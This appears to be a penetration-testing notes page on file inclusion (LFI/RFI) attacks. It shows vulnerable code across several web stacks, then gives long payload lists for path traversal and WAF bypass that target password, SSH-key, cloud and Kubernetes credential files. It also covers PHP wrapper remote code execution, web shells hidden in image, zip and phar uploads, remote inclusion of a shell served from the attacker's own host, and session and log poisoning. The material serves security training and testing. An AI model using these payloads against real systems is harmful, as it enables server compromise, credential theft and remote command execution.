# File Inclusion LFI / RFI

## PHP

If the `path` passed to the `include()` is taken from a user-controlled parameter, like a `GET` parameter, and `the code does not explicitly filter and sanitize the user input`, then the code becomes vulnerable to File Inclusion

```php
if (isset($_GET['language'])) {
    include($_GET['language']);
}
```

PHP functions that would lead to the same vulnerability if we had control over the path passed into them:  `include_once()`, `require()`, `require_once()`, `file_get_contents()`

## NodeJS

readfile():

```javascript
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}
```

render() in Express.js:

```js
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});
```

## Java

include

```jsp
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
```

import

```jsp
<c:import url= "<%= request.getParameter('language') %>"/>
```

## .NET

Response.WriteFile

```cs
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}
```

@Html.Partial()

```cs
@Html.Partial(HttpContext.Request.Query['language'])
```

include

```cs
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->
```

## Read vs Execute

| **Function**                 | **Read Content** | **Execute** | **Remote URL** |
| ---------------------------- | :--------------: | :---------: | :------------: |
| **PHP**                      |                  |             |                |
| `include()`/`include_once()` |         ✅        |      ✅      |        ✅       |
| `require()`/`require_once()` |         ✅        |      ✅      |        ❌       |
| `file_get_contents()`        |         ✅        |      ❌      |        ✅       |
| `fopen()`/`file()`           |         ✅        |      ❌      |        ❌       |
| **NodeJS**                   |                  |             |                |
| `fs.readFile()`              |         ✅        |      ❌      |        ❌       |
| `fs.sendFile()`              |         ✅        |      ❌      |        ❌       |
| `res.render()`               |         ✅        |      ✅      |        ❌       |
| **Java**                     |                  |             |                |
| `include`                    |         ✅        |      ❌      |        ❌       |
| `import`                     |         ✅        |      ✅      |        ✅       |
| **.NET**                     |                  |             |                |
| `@Html.Partial()`            |         ✅        |      ❌      |        ❌       |
| `@Html.RemotePartial()`      |         ✅        |      ❌      |        ✅       |
| `Response.WriteFile()`       |         ✅        |      ❌      |        ❌       |
| `include`                    |         ✅        |      ✅      |        ✅       |

## Burp Extension

{% embed url="<https://github.com/murat-exp/SAPLAR>" %}

## One Liner

{% embed url="<https://github.com/xnl-h4ck3r/urless>" %}

{% embed url="<https://github.com/hansmach1ne/LFImap>" %}

```
$ waymore -i urls | tee urls-his
$ cat urls-his | gf lfi | urless|anew lfi
$ python3 http://lfimap.py -F lfi --use-long -a --no-stop
```

## Path traversal vs LFI vs RFI

The main distinction lies in what the application does with the file once accessed. With path traversal, you can navigate directories and read files that should be out of reach. Arbitrary file read goes a step further by allowing you to read any file, regardless of its path.

But in some cases, the application doesn’t just read the file – it also includes and evaluates it. That’s how Local local File file Inclusion inclusion (LFI) comes into play.

Remote file inclusion (RFI) is similar to LFI but fetches the file from an external URL.&#x20;

```js
?page=http://attacker.com/shell.txt
```

## Local File Inclusion (LFI)

### Detection - Error Message

`Warning: main(pages/$page): failed to open stream: No such file or directory in /home/enigmagroup/public_html/challenges/basics/vm/1/index.php on line 14`

<figure><img src="/files/xgyenRugLISFDXWwmyYP" alt=""><figcaption></figcaption></figure>

### Basic LFI

```php
include($_GET['language']);
```

```
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd
```

{% embed url="<https://raw.githubusercontent.com/coffinxp/payloads/refs/heads/main/lfi.txt>" %}

/etc/passwd is forbidden - Try `!/etc!/passwd`

{% embed url="<https://hackerone.com/reports/2778380>" %}

```
file:/etc/passwd%3F/ 
file:/etc%252Fpasswd/ 
file:/etc%252Fpasswd%3F/ 
file:///etc/%3F/../passwd 
file:${br}/et${u}c%252Fpas${te}swd%3F/ 
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
```

### WAF Bypass

```
/././etc/passwd
/..%2fetc/passwd
/etc/./passwd
```

### Path Traversal

```php
include("./languages/" . $_GET['language']);
```

```
../index.php
../../../../etc/passwd
```

```
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
```

```
http://XXX.org/basics/vm/1/index.php?page=../admin/.htpasswd
```

Other example:

```
GET /?file=report.pdf

GET /?file=../../../etc/passwd
```

Common vulnerable patterns include:

* File download or export endpoints: /download?file=report.csv → file=../../../etc/passwd
* Log viewers or debuggers: /view-log?path=latest.log
* Template preview features: /preview?template=invoice.html
* Internal file fetchers or backup tools: /api/fetch?name=backup.tar.gz

#### With Curl

\--path-as-is

```
curl http://127.0.0.1:1234/../../../../../etc/passwd --path-as-is
```

{% embed url="<https://pentesterlab.com/blog/tricks-to-hack-with-curl?s=03>" %}

#### Fuzzing

{% content-ref url="/pages/uDePbcQDhOjtjRKV8h1f" %}
[Fuzzing](/0xss0rz/pentest/web-attacks/fuzzing.md)
{% endcontent-ref %}

#### Payloads

```
ffuf-u https://target.com/download?file=FUZZ -w path-wordlist.txt -fc 403
```

{% embed url="<https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal.txt>" %}

{% embed url="<https://github.com/nu11pointer/fuzzlists/tree/main/LFI>" %}

{% embed url="<https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt>" %}

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt>" %}

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt>" %}

{% embed url="<https://github.com/coffinxp/payloads/blob/main/directory_traversal.txt>" %}

{% embed url="<https://github.com/coffinxp/payloads/blob/main/directory_traversal_unix.txt>" %}

{% embed url="<https://github.com/coffinxp/payloads/blob/main/directory_traversal_win.txt>" %}

```
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
. = %u002e
/ = %u2215
\ = %u2216
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
..././
...\.\
..;/
..;/..;/sensitive.txt 
. = %252e
/ = %252f
\ = %255c
file:///etc/passwd
http://127.0.0.1:8080
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
../../../../../../../../../etc/passwd
../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../etc/passwd%00.gif
/??c/?as?wd
!/etc!/passwd
```

#### NGINX Alias Path Traversal

Burp extension&#x20;

{% embed url="<https://github.com/bayotop/off-by-slash>" %}

{% content-ref url="/pages/qvPiCR6KKSoCvNCdrM2c" %}
[Nginx](/0xss0rz/pentest/web-attacks/nginx.md)
{% endcontent-ref %}

### Value files to target

**Unix/Linux**

* /etc/passwd – Proof of read
* /etc/shadow – Credential hashes
* /proc/self/environ – Environment variables (look for AWS keys, tokens, debug flags)
* .env, config.json, settings.py, config.yaml – Secrets (DB creds, API keys, cloud access)
* /var/run/secrets/kubernetes.io/serviceaccount/token – Kubernetes service account token
* .bash\_history, .git/config – operational commands and repo info

**Windows**

* C:\Windows\win.ini – Classic PoC
* C:\Users\Administrator\NTUser.dat – user data and registry hives
* C:\inetpub\wwwroot\web.config – IIS credentials and app secrets
* %APPDATA%\Microsoft\Credentials\ – Windows stored credentials

**Web-specific and deployment-related**

* .git/config, .svn/entries – source control metadata
* composer.lock, package-lock.json, yarn.lock – dependency info (may expose vulnerable packages)
* docker-compose.yml, terraform.tfvars, cloudbuild.yaml – infrastructure-as-code secrets
* Log files (access.log, error.log, etc.) – session tokens, JWTs, IPs, headers
* credentials.json, secrets.json, .npmrc, .pypirc – API tokens, cloud creds
* aws/credentials, \~/.aws/config – AWS IAM keys
* .kube/config – Kubernetes cluster access
* .npmrc, .gem/credentials, .docker/config.json – Package registry or container access tokens

### AWS Environment

Look for `/home/username/.aws/credentials`

<figure><img src="/files/5EYITEzQU3x56cHrbasi" alt=""><figcaption></figcaption></figure>

### Filename Prefix

```php
include("lang_" . $_GET['language']);
```

prefix a `/` before our payload, and this should consider the prefix as a directory

```
http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd
```

**Note:** This may not always work, as in this example a directory named `lang_/` may not exist, so our relative path may not be correct. Furthermore, `any prefix appended to our input may break some file inclusion techniques` we will discuss in upcoming sections, like using PHP wrappers and filters or RFI.

### Appended Extensions

```php
include($_GET['language'] . ".php");
```

See [Basic Bypass - Appended Extension](#appended-extension)

### Second-Order Attacks

For example, a web application may allow us to download our avatar through a URL like (`/profile/$username/avatar.png`). If we craft a malicious LFI username (e.g. `../../../etc/passwd`), then it may be possible to change the file being pulled to another local file on the server and grab it instead of our avatar.

### Django, Rails, or Node.js Web Application Header Values

```
Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{
```

{% embed url="<https://x.com/bountywriteups/status/1839943560550068491?s=03&t=VXrN1099cTgH_eH-nFP0Ww>" %}

### Windows LFI

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/windows-lfi.txt>" %}

{% embed url="<https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt>" %}

### Payload List

{% embed url="<https://raw.githubusercontent.com/coffinxp/payloads/refs/heads/main/lfi.txt>" %}

```
file:/etc/passwd%3F/ 
file:/etc%252Fpasswd/ 
file:/etc%252Fpasswd%3F/ 
file:///etc/%3F/../passwd 
file:${br}/et${u}c%252Fpas${te}swd%3F/ 
file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
```

## WAF Basic Bypasses

/etc/passwd is forbidden - Try `!/etc!/passwd`

If the WAF blocks you from reading /etc/passwd directly, you can use `?` to bypass it.

```
curl http://vulnerable-web.io/read.php?filename=/etc/passwd -i
HTTP/1.1 403 Forbidden
[...]
```

```
curl http://vulnerable-web.io/read.php?filename=/??c/?as?wd -i
HTTP/1.1 200 OK
[...]
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
```

### Non-Recursive Path Traversal Filters

```php
$language = str_replace('../', '', $_GET['language']);
```

`....//`

```
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
```

Other bypass:

* `..././`
* escaping the forward slash character: `....\/`
* adding extra forward slashes: `....////`

### Encoding

Core PHP filters on versions 5.3.4 and earlier were specifically vulnerable to this bypass, but even on newer versions we may find custom filters that may be bypassed through URL encoding

Encode `../` into `%2e%2e%2f`

<figure><img src="/files/Hc3z7wfNB0R7EEegy5XF" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Note:** For this to work we must URL encode all characters, including the dots. Some URL encoders may not encode dots as they are considered to be part of the URL scheme.
{% endhint %}

```
<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
```

Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a `double encoded` string, which may also bypass other types of filters.

```
%252e%252e%252f
```

Various non-standard encodings, such as `..%c0%af` or `..%ef%bc%8f`, may also work.

You may refer to the [Command Injections](https://academy.hackthebox.com/module/details/109) module for more about bypassing various blacklisted characters, as the same techniques may be used with LFI as well.

{% content-ref url="/pages/4Y42jYnW0KDpgqdsFGQ0" %}
[Command Injection](/0xss0rz/pentest/web-attacks/command-injection.md)
{% endcontent-ref %}

### Approved Paths

```php
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}
```

To find the approved path, we can examine the requests sent by the existing forms, and see what path they use for the normal web functionality. Furthermore, we can fuzz web directories under the same path, and try different ones until we get a match. To bypass this, we may use path traversal and start our payload with the approved path

```
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
```

```
http://URL/index.php?language=languages/..././..././..././..././flag.txt
```

```
filename=/var/www/images/../../../etc/passwd
```

### Appended Extension

With modern versions of PHP, we may not be able to bypass this and will be restricted to only reading files in that extension, which may still be useful, as we will see in the next section (e.g. for reading source code).

There are a couple of other techniques we may use, but they are `obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4`.

**Path Truncation**

In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be `truncated`, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (`/etc/passwd/.`) then the `/.` would also be truncated, and PHP would call (`/etc/passwd`). PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. `////etc/passwd` is the same as `/etc/passwd`). Similarly, a current directory shortcut (`.`) in the middle of the path would also be disregarded (e.g. `/etc/./passwd`).

&#x20;It is also important to note that we would also need to `start the path with a non-existing directory` for this technique to work.

```url
?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
```

```shell-session
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
```

**Null Bytes**

An application may require the user-supplied filename to end with an expected file extension, such as `.png`.

Adding a null byte (`%00`) at the end of the string would terminate the string and not consider anything after it.

`/etc/passwd%00` => `/etc/passwd%00.php`

`filename=../../../etc/passwd%00.png`

## PHP Filters

### Input Filters

`php://filter/`

The filter that is useful for LFI attacks is the `convert.base64-encode` filter

### Fuzzing for PHP Files

```shell-session
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
```

{% hint style="info" %}
**Tip:** Unlike normal web application usage, we are not restricted to pages with HTTP response code 200, as we have local file inclusion access, so we should be scanning for all codes, including `301`, `302` and `403` pages, and we should be able to read their source code as well.
{% endhint %}

Start by reading `index.php` and scanning it for more references and so on, but fuzzing for PHP files may reveal some files that may not otherwise be found that way.

### Source Code Disclosure

```url
php://filter/read=convert.base64-encode/resource=config
```

```
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
```

{% hint style="info" %}
**Note:** We intentionally left the resource file at the end of our string, as the `.php` extension is automatically appended to the end of our input string, which would make the resource we specified be `config.php`.
{% endhint %}

```shell-session
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
```

{% hint style="info" %}
**Tip:** When copying the base64 encoded string, be sure to copy the entire string or it will not fully decode. You can view the page source to ensure you copy the entire string.
{% endhint %}

### **Error-based oracle - Dump File**

{% embed url="<https://www.ambionics.io/blog/lightyear-file-dump>" %}

{% embed url="<https://github.com/ambionics/lightyear/tree/main>" %}

## PHP Wrappers

### Data

The [data](https://www.php.net/manual/en/wrappers.data.php) wrapper can be used to include external data, including PHP code. However, the data wrapper is only available to use if the (`allow_url_include`) setting is enabled in the PHP configurations.

{% hint style="info" %}
`This option is not enabled by default`, and is required for several other LFI attacks, like using the `input` wrapper or for any RFI attack
{% endhint %}

#### PHP Configurations

`/etc/php/X.Y/apache2/php.ini` for Apache `/etc/php/X.Y/fpm/php.ini`) for Nginx

where `X.Y` is your install PHP version

```shell-session
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
```

```shell-session
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On
```

**Remote Code Execution**

```shell-session
echo '<?php system($_GET["cmd"]); ?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
```

We can URL encode the base64 string, and then pass it to the data wrapper with `data://text/plain;base64`

```
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```

```shell-session
curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

### Input

We pass our input to the `input` wrapper as a POST request's data. . So, the vulnerable parameter must accept POST requests for this attack to work

```shell-session
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid
            uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

{% hint style="info" %}
**Note:** To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use `$_REQUEST`). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. `<\?php system('id')?>`)
{% endhint %}

### Expect

Don't need to provide a web shell, as it is designed to execute commands.

Determine whether Expect is installed on the back-end server - See [PHP Configurations](#php-configurations)

```shell-session
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect
extension=expect
```

Use `expect://` wrapper

```shell-session
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

`expect` module also use for XXE vulnerabilities

{% content-ref url="/pages/w6ZtdXiotHDwJhsZ361m" %}
[XXE / XSLT](/0xss0rz/pentest/web-attacks/xxe-xslt.md)
{% endcontent-ref %}

## Cookie Based PHP LFI

{% embed url="<https://medium.com/@tehmezovismayil/cookie-based-php-local-file-inclusion-bug-bounty-553f8b38d4dc>" %}

## Remote File Inclusion (RFI)

{% embed url="<https://github.com/trilokdhaked/Bug-Bounty-Methodology/blob/main/Remote%20File%20Inclusion.md>" %}

"[Remote File Inclusion (RFI)](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion)", if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits:

1. Enumerating local-only ports and web applications (i.e. SSRF)
2. Gaining remote code execution by including a malicious script that we host

The [Server-side Attacks](https://academy.hackthebox.com/module/details/145)  module (Bug Bounty Hunter Path) covers various `SSRF` techniques, which may also be used with RFI vulnerabilities.

&#x20;LFI may not necessarily be an RFI - See [Read vs. Execute](#read-vs-execute)

### Verify RFI

See [PHP Configurations](#php-configurations)

```shell-session
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On
```

{% hint style="info" %}
This may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.
{% endhint %}

A more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to `try and include a URL`, and see if we can get its content

{% hint style="info" %}
We should always start by trying to include a local URL
{% endhint %}

```
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
```

{% hint style="info" %}
**Note:** It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.
{% endhint %}

### Remote Code Execution with RFI

&#x20;We can use a custom web shell we download from the internet, use a reverse shell script, or write our own basic web shell

{% content-ref url="/pages/T4JGQDdvKRiioaVzxp5X" %}
[Web Shell](/0xss0rz/pentest/shells/web-shell.md)
{% endcontent-ref %}

```shell-session
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

&#x20;It is a good idea to listen on a common HTTP port like `80` or `443`, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service

### HTTP

```shell-session
sudo python3 -m http.server <LISTENING_PORT>
```

```
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

{% hint style="info" %}
**Tip:** We can examine the connection on our machine to ensure the request is being sent as we specified it. For example, if we saw an extra extension (.php) was appended to the request, then we can omit it from our payload
{% endhint %}

### FTP

```shell-session
sudo python -m pyftpdlib -p 21

[SNIP] >>> starting FTP server on 0.0.0.0:21, pid=23686 <<<
[SNIP] concurrency model: async
[SNIP] masquerade (NAT) address: None
[SNIP] passive ports: None
```

```
http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
```

&#x20;If the server requires valid authentication, then the credentials can be specified in the URL, as follows:

```shell-session
curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
```

### SMB

If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the `allow_url_include` setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion.

```shell-session
impacket-smbserver -smb2support share $(pwd)
```

```
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
```

{% hint style="info" %}
This technique is `more likely to work if we were on the same network`, as accessing remote SMB servers over the internet may be disabled by default, depending on the Windows server configurations
{% endhint %}

## LFI and File Uploads

{% content-ref url="/pages/xx7uDua9Mg75bMRGo1Wk" %}
[File Upload Attacks](/0xss0rz/pentest/web-attacks/file-upload-attacks.md)
{% endcontent-ref %}

### **Crafting Malicious Image**

```shell-session
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```

{% hint style="info" %}
**Note:** We are using a `GIF` image in this case since its magic bytes are easily typed, as they are ASCII characters, while other extensions have magic bytes in binary that we would need to URL encode. However, this attack would work with any allowed image or file type.
{% endhint %}

We need to know the path to our uploaded file - Source code analysis

```html
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">
```

{% hint style="info" %}
**Note:** As we can see, we can use `/profile_images/shell.gif` for the file path. If we do not know where the file is uploaded, then we can fuzz for an uploads directory, and then fuzz for our uploaded file, though this may not always work as some web applications properly hide the uploaded files.
{% endhint %}

```
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
```

{% hint style="info" %}
**Note:** To include to our uploaded file, we used `./profile_images/` as in this case the LFI vulnerability does not prefix any directories before our input. In case it did prefix a directory before our input, then we simply need to `../` out of that directory and then use our URL path, as we learned in previous sections.
{% endhint %}

### Zip Upload

```shell-session
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

{% hint style="info" %}
**Note:** Even though we named our zip archive as (shell.jpg), some upload forms may still detect our file as a zip archive through content-type tests and disallow its upload, so this attack has a higher chance of working if the upload of zip archives is allowed.
{% endhint %}

```
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
```

{% hint style="info" %}
**Note:** We added the uploads directory (`./profile_images/`) before the file name, as the vulnerable page (`index.php`) is in the main directory.
{% endhint %}

### Phar Upload

shell.php:

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
```

Compiled into a phar file:

```shell-session
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

```
http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
```

### LFI2RCE via phpinfo()

{% embed url="<https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-phpinfo>" %}

LFI/uploads which occurs if file uploads is enabled in the PHP configurations and the `phpinfo()` page is somehow exposed to us

## Log Poisoning

&#x20;For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another.

### PHP Session Poisoning

`/var/lib/php/sessions/` on Linux and in `C:\Windows\Temp\` on Windows

&#x20;If the `PHPSESSID` cookie is set to `el4ukv0kqbvoirg7nkp4dncpk3`, then its location on disk would be `/var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3`

&#x20;Use the cookie value you find in your own session

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
```

<figure><img src="/files/McDiEsGOmZeTK9zORT5b" alt=""><figcaption></figcaption></figure>

```url
http://<SERVER_IP>:<PORT>/index.php?language=session_poisoning
```

Include the session file once again

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
```

<figure><img src="/files/0DhvYIhfYG9L8CykOldK" alt=""><figcaption></figcaption></figure>

Writing PHP code to the session file

```url
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

Include the session file and use the `&cmd=id`

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```

{% hint style="info" %}
Note: To execute another command, the session file has to be poisoned with the web shell again, as it gets overwritten with `/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd` after our last inclusion. Ideally, we would use the poisoned web shell to write a permanent web shell to the web directory, or send a reverse shell for easier interaction.
{% endhint %}

### Server Log Poisoning

`Apache` logs are located in `/var/log/apache2/` on Linux and in `C:\xampp\apache\logs\` on Windows, while `Nginx` logs are located in `/var/log/nginx/` on Linux and in `C:\nginx\log\` on Windows

The logs may be in a different location in some cases => Fuzz

{% embed url="<https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI>" %}

```
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
```

